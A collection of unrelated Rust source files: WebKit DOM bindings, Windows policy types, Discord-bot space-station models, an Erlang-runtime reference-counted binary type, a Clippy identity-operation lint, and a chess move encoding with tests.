impl<O: IsA<DOMClientRect>> DOMClientRectExt for O {
#[cfg(any(feature = "v2_18", feature = "dox"))]
fn get_bottom(&self) -> f32 {
unsafe {
webkit2_webextension_sys::webkit_dom_client_rect_get_bottom(
self.as_ref().to_glib_none().0,
)
}
}
#[cfg(any(feature = "v2_18", feature = "dox"))]
fn get_height(&self) -> f32 {
unsafe {
webkit2_webextension_sys::webkit_dom_client_rect_get_height(
self.as_ref().to_glib_none().0,
)
}
}
#[cfg(any(feature = "v2_18", feature = "dox"))]
fn get_left(&self) -> f32 {
unsafe {
webkit2_webextension_sys::webkit_dom_client_rect_get_left(
self.as_ref().to_glib_none().0,
)
}
}
#[cfg(any(feature = "v2_18", feature = "dox"))]
fn get_right(&self) -> f32 {
unsafe {
webkit2_webextension_sys::webkit_dom_client_rect_get_right(
self.as_ref().to_glib_none().0,
)
}
}
#[cfg(any(feature = "v2_18", feature = "dox"))]
fn get_top(&self) -> f32 {
unsafe {
webkit2_webextension_sys::webkit_dom_client_rect_get_top(self.as_ref().to_glib_none().0)
}
}
#[cfg(any(feature = "v2_18", feature = "dox"))]
fn get_width(&self) -> f32 {
unsafe {
webkit2_webextension_sys::webkit_dom_client_rect_get_width(
self.as_ref().to_glib_none().0,
)
}
}
fn get_property_bottom(&self) -> f32 {
unsafe {
let mut value = Value::from_type(<f32 as StaticType>::static_type());
gobject_sys::g_object_get_property(
self.to_glib_none().0 as *mut gobject_sys::GObject,
b"bottom\0".as_ptr() as *const _,
value.to_glib_none_mut().0,
);
value
.get()
.expect("Return Value for property `bottom` getter")
.unwrap()
}
}
fn get_property_height(&self) -> f32 {
unsafe {
let mut value = Value::from_type(<f32 as StaticType>::static_type());
gobject_sys::g_object_get_property(
self.to_glib_none().0 as *mut gobject_sys::GObject,
b"height\0".as_ptr() as *const _,
value.to_glib_none_mut().0,
);
value
.get()
.expect("Return Value for property `height` getter")
.unwrap()
}
}
fn get_property_left(&self) -> f32 {
unsafe {
let mut value = Value::from_type(<f32 as StaticType>::static_type());
gobject_sys::g_object_get_property(
self.to_glib_none().0 as *mut gobject_sys::GObject,
b"left\0".as_ptr() as *const _,
value.to_glib_none_mut().0,
);
value
.get()
.expect("Return Value for property `left` getter")
.unwrap()
}
}
fn get_property_right(&self) -> f32 {
unsafe {
let mut value = Value::from_type(<f32 as StaticType>::static_type());
gobject_sys::g_object_get_property(
self.to_glib_none().0 as *mut gobject_sys::GObject,
b"right\0".as_ptr() as *const _,
value.to_glib_none_mut().0,
);
value
.get()
.expect("Return Value for property `right` getter")
.unwrap()
}
}
fn get_property_top(&self) -> f32 {
unsafe {
let mut value = Value::from_type(<f32 as StaticType>::static_type());
gobject_sys::g_object_get_property(
self.to_glib_none().0 as *mut gobject_sys::GObject,
b"top\0".as_ptr() as *const _,
value.to_glib_none_mut().0,
);
value
.get()
.expect("Return Value for property `top` getter")
.unwrap()
}
}
fn get_property_width(&self) -> f32 {
unsafe {
let mut value = Value::from_type(<f32 as StaticType>::static_type());
gobject_sys::g_object_get_property(
self.to_glib_none().0 as *mut gobject_sys::GObject,
b"width\0".as_ptr() as *const _,
value.to_glib_none_mut().0,
);
value
.get()
.expect("Return Value for property `width` getter")
.unwrap()
}
}
fn connect_property_bottom_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId {
unsafe extern "C" fn notify_bottom_trampoline<P, F: Fn(&P) + 'static>(
this: *mut webkit2_webextension_sys::WebKitDOMClientRect,
_param_spec: glib_sys::gpointer,
f: glib_sys::gpointer,
) where
P: IsA<DOMClientRect>,
{
let f: &F = &*(f as *const F);
f(&DOMClientRect::from_glib_borrow(this).unsafe_cast())
}
unsafe {
let f: Box_<F> = Box_::new(f);
connect_raw(
self.as_ptr() as *mut _,
b"notify::bottom\0".as_ptr() as *const _,
Some(transmute(notify_bottom_trampoline::<Self, F> as usize)),
Box_::into_raw(f),
)
}
}
fn connect_property_height_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId {
unsafe extern "C" fn notify_height_trampoline<P, F: Fn(&P) + 'static>(
this: *mut webkit2_webextension_sys::WebKitDOMClientRect,
_param_spec: glib_sys::gpointer,
f: glib_sys::gpointer,
) where
P: IsA<DOMClientRect>,
{
let f: &F = &*(f as *const F);
f(&DOMClientRect::from_glib_borrow(this).unsafe_cast())
}
unsafe {
let f: Box_<F> = Box_::new(f);
connect_raw(
self.as_ptr() as *mut _,
b"notify::height\0".as_ptr() as *const _,
Some(transmute(notify_height_trampoline::<Self, F> as usize)),
Box_::into_raw(f),
)
}
}
fn connect_property_left_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId {
unsafe extern "C" fn notify_left_trampoline<P, F: Fn(&P) + 'static>(
this: *mut webkit2_webextension_sys::WebKitDOMClientRect,
_param_spec: glib_sys::gpointer,
f: glib_sys::gpointer,
) where
P: IsA<DOMClientRect>,
{
let f: &F = &*(f as *const F);
f(&DOMClientRect::from_glib_borrow(this).unsafe_cast())
}
unsafe {
let f: Box_<F> = Box_::new(f);
connect_raw(
self.as_ptr() as *mut _,
b"notify::left\0".as_ptr() as *const _,
Some(transmute(notify_left_trampoline::<Self, F> as usize)),
Box_::into_raw(f),
)
}
}
fn connect_property_right_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId {
unsafe extern "C" fn notify_right_trampoline<P, F: Fn(&P) + 'static>(
this: *mut webkit2_webextension_sys::WebKitDOMClientRect,
_param_spec: glib_sys::gpointer,
f: glib_sys::gpointer,
) where
P: IsA<DOMClientRect>,
{
let f: &F = &*(f as *const F);
f(&DOMClientRect::from_glib_borrow(this).unsafe_cast())
}
unsafe {
let f: Box_<F> = Box_::new(f);
connect_raw(
self.as_ptr() as *mut _,
b"notify::right\0".as_ptr() as *const _,
Some(transmute(notify_right_trampoline::<Self, F> as usize)),
Box_::into_raw(f),
)
}
}
fn connect_property_top_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId {
unsafe extern "C" fn notify_top_trampoline<P, F: Fn(&P) + 'static>(
this: *mut webkit2_webextension_sys::WebKitDOMClientRect,
_param_spec: glib_sys::gpointer,
f: glib_sys::gpointer,
) where
P: IsA<DOMClientRect>,
{
let f: &F = &*(f as *const F);
f(&DOMClientRect::from_glib_borrow(this).unsafe_cast())
}
unsafe {
let f: Box_<F> = Box_::new(f);
connect_raw(
self.as_ptr() as *mut _,
b"notify::top\0".as_ptr() as *const _,
Some(transmute(notify_top_trampoline::<Self, F> as usize)),
Box_::into_raw(f),
)
}
}
fn connect_property_width_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId {
unsafe extern "C" fn notify_width_trampoline<P, F: Fn(&P) + 'static>(
this: *mut webkit2_webextension_sys::WebKitDOMClientRect,
_param_spec: glib_sys::gpointer,
f: glib_sys::gpointer,
) where
P: IsA<DOMClientRect>,
{
let f: &F = &*(f as *const F);
f(&DOMClientRect::from_glib_borrow(this).unsafe_cast())
}
unsafe {
let f: Box_<F> = Box_::new(f);
connect_raw(
self.as_ptr() as *mut _,
b"notify::width\0".as_ptr() as *const _,
Some(transmute(notify_width_trampoline::<Self, F> as usize)),
Box_::into_raw(f),
)
}
}
}
impl fmt::Display for DOMClientRect {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
write!(f, "DOMClientRect")
}
}
|
#![allow(non_snake_case, non_camel_case_types, non_upper_case_globals, clashing_extern_declarations, clippy::all)]
#[link(name = "windows")]
extern "system" {}
pub type NamedPolicyData = *mut ::core::ffi::c_void;
#[repr(transparent)]
pub struct NamedPolicyKind(pub i32);
impl NamedPolicyKind {
pub const Invalid: Self = Self(0i32);
pub const Binary: Self = Self(1i32);
pub const Boolean: Self = Self(2i32);
pub const Int32: Self = Self(3i32);
pub const Int64: Self = Self(4i32);
pub const String: Self = Self(5i32);
}
impl ::core::marker::Copy for NamedPolicyKind {}
impl ::core::clone::Clone for NamedPolicyKind {
fn clone(&self) -> Self {
*self
}
}
|
use crate::models::traits::ResObject;
use chrono::{DateTime, FixedOffset};
use serde::{Deserialize, Serialize};
use serenity::client;
use serenity::model::channel::Channel;
#[derive(Debug, sqlx::FromRow, sqlx::Type, Clone, Copy, Deserialize, Serialize)]
#[sqlx(transparent)]
pub struct GuildId(pub i64);
#[derive(Debug, sqlx::FromRow, sqlx::Type, Clone, Copy, Deserialize, Serialize)]
#[sqlx(transparent)]
pub struct ChannelId(pub i64);
#[derive(Deserialize, Serialize, Debug)]
pub struct SpaceStationCommon {
pub id: i32,
pub url: String,
pub name: String,
pub status: Status,
pub orbit: String,
pub image_url: String,
}
#[derive(Deserialize, Serialize, Debug)]
pub struct ExpeditionCommon {
pub id: i32,
pub url: String,
pub name: String,
pub start: Option<DateTime<FixedOffset>>,
pub end: Option<DateTime<FixedOffset>>,
#[serde(alias = "spacestation")]
pub space_station: SpaceStationCommon,
}
#[derive(Deserialize, Serialize, Debug)]
pub struct ApiResult<T: ResObject> {
pub count: i32,
pub next: Option<String>,
pub previous: Option<String>,
pub results: Vec<T>,
}
#[derive(Deserialize, Serialize, Debug)]
pub struct Status {
pub id: i8,
pub name: String,
pub abbrev: String,
pub description: String,
}
impl ChannelId {
pub async fn fetch(&self, ctx: &client::Context) -> Option<Channel> {
return match ctx.cache.channel(self.0 as u64) {
Some(channel) => Some(channel),
None => {
if let Ok(channel) = ctx.http.get_channel(self.0 as u64).await {
Some(channel)
} else {
return None;
}
}
};
}
}
|
use core::alloc::Layout;
use core::convert::TryFrom;
use core::fmt::{self, Debug};
use core::iter;
use core::ptr::{self, NonNull};
use core::slice;
use core::str;
use core::sync::atomic::{self, AtomicUsize};
use intrusive_collections::LinkedListLink;
use liblumen_core::offset_of;
use crate::borrow::CloneToProcess;
use crate::erts::exception::AllocResult;
use crate::erts::process::alloc::TermAlloc;
use crate::erts::process::Process;
use crate::erts::string::Encoding;
use crate::erts::term::prelude::*;
/// This is the header written alongside all procbin binaries in the heap,
/// it owns the refcount and the raw binary data
///
/// NOTE: It is critical that if you add fields to this struct, that you adjust
/// the implementation of `base_layout` and `ProcBin::from_slice`, as they must
/// manually calculate the data layout due to the fact that `ProcBinInner` is a
/// dynamically-sized type
#[repr(C)]
pub struct ProcBinInner {
refc: AtomicUsize,
flags: BinaryFlags,
data: [u8],
}
impl_static_header!(ProcBin, Term::HEADER_PROCBIN);
impl ProcBinInner {
/// Constructs a reference to a `ProcBinInner` given a pointer to
/// the memory containing the struct and the length of its variable-length
/// data
///
/// NOTE: For more information about how this works, see the detailed
/// explanation in the function docs for `HeapBin::from_raw_parts`
#[inline]
fn from_raw_parts(ptr: *const u8, len: usize) -> Boxed<Self> {
// Invariants of slice::from_raw_parts.
assert!(!ptr.is_null());
assert!(len <= isize::max_value() as usize);
unsafe {
let slice = core::slice::from_raw_parts(ptr as *const (), len);
Boxed::new_unchecked(slice as *const [()] as *mut Self)
}
}
#[inline]
fn as_bytes(&self) -> &[u8] {
&self.data
}
/// Produces the base layout for this struct, before the
/// dynamically sized data is factored in.
///
/// Returns the base layout + the offset of the flags field
#[inline]
fn base_layout() -> (Layout, usize) {
Layout::new::<AtomicUsize>()
.extend(Layout::new::<BinaryFlags>())
.unwrap()
}
}
impl Bitstring for ProcBinInner {
#[inline]
fn full_byte_len(&self) -> usize {
self.data.len()
}
#[inline]
unsafe fn as_byte_ptr(&self) -> *mut u8 {
self.data.as_ptr() as *mut u8
}
}
impl Binary for ProcBinInner {
#[inline]
fn flags(&self) -> &BinaryFlags {
&self.flags
}
}
impl IndexByte for ProcBinInner {
fn byte(&self, index: usize) -> u8 {
self.data[index]
}
}
impl Debug for ProcBinInner {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
let ptr = unsafe { self.as_byte_ptr() };
let len = self.data.len();
f.debug_struct("ProcBinInner")
.field("refc", &self.refc)
.field("flags", &self.flags)
.field("data", &format!("bytes={},address={:p}", len, ptr))
.finish()
}
}
/// Reference-counted heap-allocated binary
///
/// This struct doesn't actually have the data, but it is the entry point
/// through which all consumers will access it, which ensures the reference
/// count is maintained correctly
#[derive(Debug)]
#[repr(C)]
pub struct ProcBin {
header: Header<ProcBin>,
inner: NonNull<ProcBinInner>,
pub link: LinkedListLink,
}
impl ProcBin {
#[inline]
pub fn inner_offset() -> usize {
offset_of!(ProcBin, inner)
}
/// Creates a new procbin from a str slice, by copying it to the heap
pub fn from_str(s: &str) -> AllocResult<Self> {
let encoding = Encoding::from_str(s);
Self::from_slice(s.as_bytes(), encoding)
}
/// Creates a new procbin from a raw byte slice, by copying it to the heap
pub fn from_slice(s: &[u8], encoding: Encoding) -> AllocResult<Self> {
use liblumen_core::sys::alloc as sys_alloc;
let (base_layout, flags_offset) = ProcBinInner::base_layout();
let (unpadded_layout, data_offset) = base_layout.extend(Layout::for_value(s)).unwrap();
// We pad to alignment so that the Layout produced here
// matches that returned by `Layout::for_value` on the
// final `ProcBinInner`
let layout = unpadded_layout.pad_to_align();
unsafe {
let non_null_byte_slice = sys_alloc::allocate(layout)?;
let len = s.len();
let ptr: *mut u8 = non_null_byte_slice.as_mut_ptr();
ptr::write(ptr as *mut AtomicUsize, AtomicUsize::new(1));
let flags_ptr = ptr.offset(flags_offset as isize) as *mut BinaryFlags;
let flags = BinaryFlags::new(encoding).set_size(len);
ptr::write(flags_ptr, flags);
let data_ptr = ptr.offset(data_offset as isize);
ptr::copy_nonoverlapping(s.as_ptr(), data_ptr, len);
let inner = ProcBinInner::from_raw_parts(ptr, len);
Ok(Self {
header: Default::default(),
inner: inner.into(),
link: LinkedListLink::new(),
})
}
}
#[inline]
fn inner(&self) -> &ProcBinInner {
unsafe { self.inner.as_ref() }
}
// Non-inlined part of `drop`.
#[inline(never)]
unsafe fn drop_slow(&self) {
use liblumen_core::sys::alloc as sys_alloc;
if self.inner().refc.fetch_sub(1, atomic::Ordering::Release) == 1 {
atomic::fence(atomic::Ordering::Acquire);
let inner = self.inner.as_ref();
let inner_non_null = NonNull::new_unchecked(inner as *const _ as *mut u8);
let layout = Layout::for_value(&inner);
sys_alloc::deallocate(inner_non_null, layout);
}
}
#[inline]
pub fn full_byte_iter<'a>(&'a self) -> iter::Copied<slice::Iter<'a, u8>> {
self.inner().as_bytes().iter().copied()
}
}
impl Bitstring for ProcBin {
#[inline]
fn full_byte_len(&self) -> usize {
self.inner().full_byte_len()
}
#[inline]
unsafe fn as_byte_ptr(&self) -> *mut u8 {
self.inner().as_byte_ptr()
}
}
impl Binary for ProcBin {
#[inline]
fn flags(&self) -> &BinaryFlags {
self.inner().flags()
}
}
impl AlignedBinary for ProcBin {
fn as_bytes(&self) -> &[u8] {
self.inner().as_bytes()
}
}
impl Clone for ProcBin {
#[inline]
fn clone(&self) -> Self {
self.inner().refc.fetch_add(1, atomic::Ordering::AcqRel);
Self {
header: self.header.clone(),
inner: self.inner,
link: LinkedListLink::new(),
}
}
}
impl CloneToProcess for ProcBin {
fn clone_to_process(&self, process: &Process) -> Term {
let mut heap = process.acquire_heap();
let boxed = self.clone_to_heap(&mut heap).unwrap();
let ptr: *mut Self = boxed.dyn_cast();
self.inner().refc.fetch_add(1, atomic::Ordering::AcqRel);
// Reify a reference to the newly written clone, and push it
// on to the process virtual heap
let clone = unsafe { &*ptr };
process.virtual_alloc(clone);
boxed
}
fn clone_to_heap<A>(&self, heap: &mut A) -> AllocResult<Term>
where
A: ?Sized + TermAlloc,
{
unsafe {
// Allocate space for the header
let layout = Layout::new::<Self>();
let ptr = heap.alloc_layout(layout)?.as_ptr() as *mut Self;
// Write the binary header with an empty link
ptr::write(
ptr,
Self {
header: self.header.clone(),
inner: self.inner,
link: LinkedListLink::new(),
},
);
// Reify result term
Ok(ptr.into())
}
}
fn size_in_words(&self) -> usize {
crate::erts::to_word_size(Layout::for_value(self).size())
}
}
impl Drop for ProcBin {
fn drop(&mut self) {
if self.inner().refc.fetch_sub(1, atomic::Ordering::Release) != 1 {
return;
}
// The following code is based on the Rust Arc<T> implementation, and
// their notes apply to us here:
//
// This fence is needed to prevent reordering of use of the data and
// deletion of the data. Because it is marked `Release`, the decreasing
// of the reference count synchronizes with this `Acquire` fence. This
// means that use of the data happens before decreasing the reference
// count, which happens before this fence, which happens before the
// deletion of the data.
//
// As explained in the [Boost documentation][1],
//
// > It is important to enforce any possible access to the object in one
// > thread (through an existing reference) to *happen before* deleting
// > the object in a different thread. This is achieved by a "release"
// > operation after dropping a reference (any access to the object
// > through this reference must obviously happened before), and an
// > "acquire" operation before deleting the object.
//
// In particular, while the contents of an Arc are usually immutable, it's
// possible to have interior writes to something like a Mutex<T>. Since a
// Mutex is not acquired when it is deleted, we can't rely on its
// synchronization logic to make writes in thread A visible to a destructor
// running in thread B.
//
// Also note that the Acquire fence here could probably be replaced with an
// Acquire load, which could improve performance in highly-contended
// situations. See [2].
//
// [1]: (www.boost.org/doc/libs/1_55_0/doc/html/atomic/usage_examples.html)
// [2]: (https://github.com/rust-lang/rust/pull/41714)
atomic::fence(atomic::Ordering::Acquire);
// The refcount is now zero, so we are freeing the memory
unsafe {
self.drop_slow();
}
}
}
impl IndexByte for ProcBin {
fn byte(&self, index: usize) -> u8 {
self.inner().byte(index)
}
}
/// Given a raw pointer to the ProcBin, reborrows and clones it into a new reference.
///
/// # Safety
///
/// This function is unsafe due to dereferencing a raw pointer, but it is expected that
/// this is only ever called with a valid `ProcBin` pointer anyway. The primary risk
/// with obtaining a `ProcBin` via this function is if you leak it somehow, rather than
/// letting its `Drop` implementation run. Doing so will leave the reference count greater
/// than 1 forever, meaning memory will never get deallocated.
///
/// NOTE: This does not copy the binary, it only obtains a new `ProcBin`, which is
/// itself a reference to a binary held by a `ProcBinInner`.
impl From<Boxed<ProcBin>> for ProcBin {
fn from(boxed: Boxed<ProcBin>) -> Self {
boxed.as_ref().clone()
}
}
impl TryFrom<TypedTerm> for Boxed<ProcBin> {
type Error = TypeError;
fn try_from(typed_term: TypedTerm) -> Result<Self, Self::Error> {
match typed_term {
TypedTerm::ProcBin(term) => Ok(term),
_ => Err(TypeError),
}
}
}
|
pub trait Resource {}
|
use clippy_utils::get_parent_expr;
use clippy_utils::source::snippet;
use rustc_hir::{BinOp, BinOpKind, Expr, ExprKind};
use rustc_lint::{LateContext, LateLintPass};
use rustc_middle::ty;
use rustc_session::{declare_lint_pass, declare_tool_lint};
use rustc_span::source_map::Span;
use clippy_utils::consts::{constant_full_int, constant_simple, Constant, FullInt};
use clippy_utils::diagnostics::span_lint;
use clippy_utils::{clip, unsext};
declare_clippy_lint! {
/// ### What it does
/// Checks for identity operations, e.g., `x + 0`.
///
/// ### Why is this bad?
/// This code can be removed without changing the
/// meaning. So it just obscures what's going on. Delete it mercilessly.
///
/// ### Example
/// ```rust
/// # let x = 1;
/// x / 1 + 0 * 1 - 0 | 0;
/// ```
///
/// ### Known problems
/// False negatives: `f(0 + if b { 1 } else { 2 } + 3);` is reducible to
/// `f(if b { 1 } else { 2 } + 3);`. But the lint doesn't trigger for the code.
/// See [#8724](https://github.com/rust-lang/rust-clippy/issues/8724)
#[clippy::version = "pre 1.29.0"]
pub IDENTITY_OP,
complexity,
"using identity operations, e.g., `x + 0` or `y / 1`"
}
declare_lint_pass!(IdentityOp => [IDENTITY_OP]);
impl<'tcx> LateLintPass<'tcx> for IdentityOp {
fn check_expr(&mut self, cx: &LateContext<'tcx>, expr: &'tcx Expr<'_>) {
if expr.span.from_expansion() {
return;
}
if let ExprKind::Binary(cmp, left, right) = &expr.kind {
if !is_allowed(cx, *cmp, left, right) {
match cmp.node {
BinOpKind::Add | BinOpKind::BitOr | BinOpKind::BitXor => {
if reducible_to_right(cx, expr, right) {
check(cx, left, 0, expr.span, right.span);
}
check(cx, right, 0, expr.span, left.span);
},
BinOpKind::Shl | BinOpKind::Shr | BinOpKind::Sub => {
check(cx, right, 0, expr.span, left.span);
},
BinOpKind::Mul => {
if reducible_to_right(cx, expr, right) {
check(cx, left, 1, expr.span, right.span);
}
check(cx, right, 1, expr.span, left.span);
},
BinOpKind::Div => check(cx, right, 1, expr.span, left.span),
BinOpKind::BitAnd => {
if reducible_to_right(cx, expr, right) {
check(cx, left, -1, expr.span, right.span);
}
check(cx, right, -1, expr.span, left.span);
},
BinOpKind::Rem => {
// Don't call reducible_to_right because N % N is always reducible to 1
check_remainder(cx, left, right, expr.span, left.span);
},
_ => (),
}
}
}
}
}
/// Checks if `left op ..right` can be actually reduced to `right`
/// e.g. `0 + if b { 1 } else { 2 } + if b { 3 } else { 4 }`
/// cannot be reduced to `if b { 1 } else { 2 } + if b { 3 } else { 4 }`
/// See #8724
fn reducible_to_right(cx: &LateContext<'_>, binary: &Expr<'_>, right: &Expr<'_>) -> bool {
if let ExprKind::If(..) | ExprKind::Match(..) | ExprKind::Block(..) | ExprKind::Loop(..) = right.kind {
is_toplevel_binary(cx, binary)
} else {
true
}
}
fn is_toplevel_binary(cx: &LateContext<'_>, must_be_binary: &Expr<'_>) -> bool {
if let Some(parent) = get_parent_expr(cx, must_be_binary) && let ExprKind::Binary(..) = &parent.kind {
false
} else {
true
}
}
fn is_allowed(cx: &LateContext<'_>, cmp: BinOp, left: &Expr<'_>, right: &Expr<'_>) -> bool {
// This lint applies to integers
!cx.typeck_results().expr_ty(left).peel_refs().is_integral()
|| !cx.typeck_results().expr_ty(right).peel_refs().is_integral()
// `1 << 0` is a common pattern in bit manipulation code
|| (cmp.node == BinOpKind::Shl
&& constant_simple(cx, cx.typeck_results(), right) == Some(Constant::Int(0))
&& constant_simple(cx, cx.typeck_results(), left) == Some(Constant::Int(1)))
}
fn check_remainder(cx: &LateContext<'_>, left: &Expr<'_>, right: &Expr<'_>, span: Span, arg: Span) {
let lhs_const = constant_full_int(cx, cx.typeck_results(), left);
let rhs_const = constant_full_int(cx, cx.typeck_results(), right);
if match (lhs_const, rhs_const) {
(Some(FullInt::S(lv)), Some(FullInt::S(rv))) => lv.abs() < rv.abs(),
(Some(FullInt::U(lv)), Some(FullInt::U(rv))) => lv < rv,
_ => return,
} {
span_ineffective_operation(cx, span, arg);
}
}
fn check(cx: &LateContext<'_>, e: &Expr<'_>, m: i8, span: Span, arg: Span) {
if let Some(Constant::Int(v)) = constant_simple(cx, cx.typeck_results(), e).map(Constant::peel_refs) {
let check = match *cx.typeck_results().expr_ty(e).peel_refs().kind() {
ty::Int(ity) => unsext(cx.tcx, -1_i128, ity),
ty::Uint(uty) => clip(cx.tcx, !0, uty),
_ => return,
};
if match m {
0 => v == 0,
-1 => v == check,
1 => v == 1,
_ => unreachable!(),
} {
span_ineffective_operation(cx, span, arg);
}
}
}
fn span_ineffective_operation(cx: &LateContext<'_>, span: Span, arg: Span) {
span_lint(
cx,
IDENTITY_OP,
span,
&format!(
"the operation is ineffective. Consider reducing it to `{}`",
snippet(cx, arg, "..")
),
);
}
|
use castle::Castle;
use piece::*;
use square;
use square::Square;
use std::fmt;
// super compress move representation
// 0-5: from
// 6-11: to
// 12-15: flags
/*
FLAGS:
0001 1: double pawn push
0101 4: capture
0101 5: ep capture
1XXX : promotion
ALT LAYOUT
lower, upper
00 01 -> double pawn push
01 00 -> capture
01 01 -> ep capture
10 XX -> promotion (XX is piece to promote to)
11 XX -> promo-capture (XX is piece to promote to)
00 1X -> castle (X is castle type)
*/
const CASTLE_FLAG: u8 = 128;
const CAPTURE_FLAG: u8 = 64;
const PROMOTION_FLAG: u8 = 128;
const EP_CAPTURE_FLAG: u8 = 64;
pub const NULL_MOVE: Move = Move { upper: 0, lower: 0 };
/// Represents a move on the chess position. Uses a compact 16 bit representation
#[derive(Copy, Clone, PartialEq, Eq)]
pub struct Move {
lower: u8, // holds from square and castle and pawn flags
upper: u8, // holds to square and promotion and capture flags
}
impl Move {
#[inline]
pub fn from(&self) -> Square {
Square::new((self.lower & 63) as square::Internal)
}
#[inline]
pub fn to(&self) -> Square {
Square::new((self.upper & 63) as square::Internal)
}
#[inline]
pub fn promote_to(&self) -> Kind {
debug_assert!(!self.is_castle());
debug_assert!(self.is_promotion());
Kind(((self.upper as usize) & (!63)) >> 6)
}
/// Returns the absolute distance moved. Eg for a push from square 8 to square 24: |24 - 8| = 16
#[inline]
pub fn distance(&self) -> i32 {
debug_assert!(!self.is_castle());
(self.from().to_i32() - self.to().to_i32()).abs()
}
#[inline]
pub fn is_castle(&self) -> bool {
((self.upper & CASTLE_FLAG) != 0) && ((self.lower & (!63)) == 0)
}
#[inline]
pub fn is_capture(&self) -> bool {
(self.lower & CAPTURE_FLAG) != 0
}
#[inline]
pub fn is_ep_capture(&self) -> bool {
((self.lower & (!63)) == CAPTURE_FLAG) && ((self.upper & (!63)) == EP_CAPTURE_FLAG)
}
#[inline]
pub fn is_promotion(&self) -> bool {
(self.lower & PROMOTION_FLAG) != 0
}
#[inline]
pub fn castle(&self) -> Castle {
debug_assert!(self.is_castle());
Castle::new(((self.upper & 64) >> 6) as usize)
}
pub fn to_string(&self) -> String {
if self.is_castle() {
return self.castle().pgn_string().to_string();
}
let mut s = String::new();
s += self.from().to_str();
if self.is_capture() {
s.push('x');
}
s += self.to().to_str();
if self.is_promotion() {
s.push('=');
s.push(self.promote_to().to_char());
}
if self.is_ep_capture() {
s += "e.p."
}
s
}
pub fn new_move(from: Square, to: Square, is_capture: bool) -> Move {
Move {
lower: from.to_u8() | if is_capture { CAPTURE_FLAG } else { 0 },
upper: to.to_u8(),
}
}
#[inline]
pub const fn new_push(from: Square, to: Square) -> Move {
Move {
lower: from.to_u8(),
upper: to.to_u8(),
}
}
#[inline]
pub const fn new_capture(from: Square, to: Square) -> Move {
Move {
lower: from.to_u8() | CAPTURE_FLAG,
upper: to.to_u8(),
}
}
#[inline]
pub const fn new_castle(castle: Castle) -> Move {
Move {
lower: 0,
upper: CASTLE_FLAG | (castle.to_u8() << 6),
}
}
#[inline]
pub const fn new_promotion(from: Square, to: Square, promote_to: Kind) -> Move {
Move {
lower: from.to_u8() | PROMOTION_FLAG,
upper: to.to_u8() | (promote_to.to_u8() << 6),
}
}
#[inline]
pub const fn new_capture_promotion(from: Square, to: Square, promote_to: Kind) -> Move {
Move {
lower: from.to_u8() | PROMOTION_FLAG | CAPTURE_FLAG,
upper: to.to_u8() | (promote_to.to_u8() << 6),
}
}
#[inline]
pub const fn new_ep_capture(from: Square, to: Square) -> Move {
Move {
lower: from.to_u8() | CAPTURE_FLAG,
upper: to.to_u8() | EP_CAPTURE_FLAG,
}
}
}
impl fmt::Display for Move {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
write!(f, "{}", self.to_string())
}
}
impl fmt::Debug for Move {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
write!(f, "{}", self.to_string())
}
}
#[cfg(test)]
mod test {
use super::*;
use castle::*;
use square::*;
use std::mem;
#[test]
fn test_packed() {
assert_eq!(2, mem::size_of::<Move>());
}
#[test]
fn push() {
let mv = Move::new_push(B2, B3);
assert_eq!(mv.from(), B2);
assert_eq!(mv.to(), B3);
assert_eq!(mv.is_capture(), false);
assert_eq!(mv.is_castle(), false);
assert_eq!(mv.is_promotion(), false);
assert_eq!(mv.is_ep_capture(), false);
}
#[test]
fn capture() {
let mv = Move::new_capture(B2, B5);
assert_eq!(mv.from(), B2);
assert_eq!(mv.to(), B5);
assert_eq!(mv.is_capture(), true);
assert_eq!(mv.is_castle(), false);
assert_eq!(mv.is_promotion(), false);
assert_eq!(mv.is_ep_capture(), false);
}
#[test]
fn promotion() {
let mv = Move::new_promotion(B7, B8, KNIGHT);
assert_eq!(mv.from(), B7);
assert_eq!(mv.to(), B8);
assert_eq!(mv.promote_to(), KNIGHT);
assert_eq!(mv.is_capture(), false);
assert_eq!(mv.is_castle(), false);
assert_eq!(mv.is_promotion(), true);
assert_eq!(mv.is_ep_capture(), false);
}
#[test]
fn capture_promotion() {
let mv = Move::new_capture_promotion(B7, B8, QUEEN);
assert_eq!(mv.from(), B7);
assert_eq!(mv.to(), B8);
assert_eq!(mv.promote_to(), QUEEN);
assert_eq!(mv.is_capture(), true);
assert_eq!(mv.is_castle(), false);
assert_eq!(mv.is_promotion(), true);
assert_eq!(mv.is_ep_capture(), false);
}
#[test]
fn castle_queen_side() {
let mv = Move::new_castle(QUEEN_SIDE);
assert_eq!(mv.is_castle(), true);
assert_eq!(mv.castle(), QUEEN_SIDE);
assert_eq!(mv.is_capture(), false);
assert_eq!(mv.is_promotion(), false);
assert_eq!(mv.is_ep_capture(), false);
}
#[test]
fn castle_king_side() {
let mv = Move::new_castle(KING_SIDE);
assert_eq!(mv.is_castle(), true);
assert_eq!(mv.castle(), KING_SIDE);
assert_eq!(mv.is_capture(), false);
assert_eq!(mv.is_promotion(), false);
assert_eq!(mv.is_ep_capture(), false);
}
#[test]
fn new_ep_capture() {
let mv = Move::new_ep_capture(D4, C3);
assert_eq!(mv.from(), D4);
assert_eq!(mv.to(), C3);
assert_eq!(mv.is_capture(), true);
assert_eq!(mv.is_castle(), false);
assert_eq!(mv.is_promotion(), false);
assert_eq!(mv.is_ep_capture(), true);
}
#[test]
fn to_string() {
assert_eq!(Move::new_castle(KING_SIDE).to_string(), "O-O");
assert_eq!(Move::new_castle(QUEEN_SIDE).to_string(), "O-O-O");
assert_eq!(Move::new_push(B2, B3).to_string(), "b2b3");
assert_eq!(Move::new_push(B2, D5).to_string(), "b2d5");
assert_eq!(Move::new_capture(B2, B5).to_string(), "b2xb5");
assert_eq!(Move::new_capture(B2, B3).to_string(), "b2xb3");
assert_eq!(Move::new_promotion(B7, B8, QUEEN).to_string(), "b7b8=Q");
assert_eq!(
Move::new_capture_promotion(C7, B8, QUEEN).to_string(),
"c7xb8=Q"
);
assert_eq!(Move::new_ep_capture(D4, C3).to_string(), "d4xc3e.p.");
}
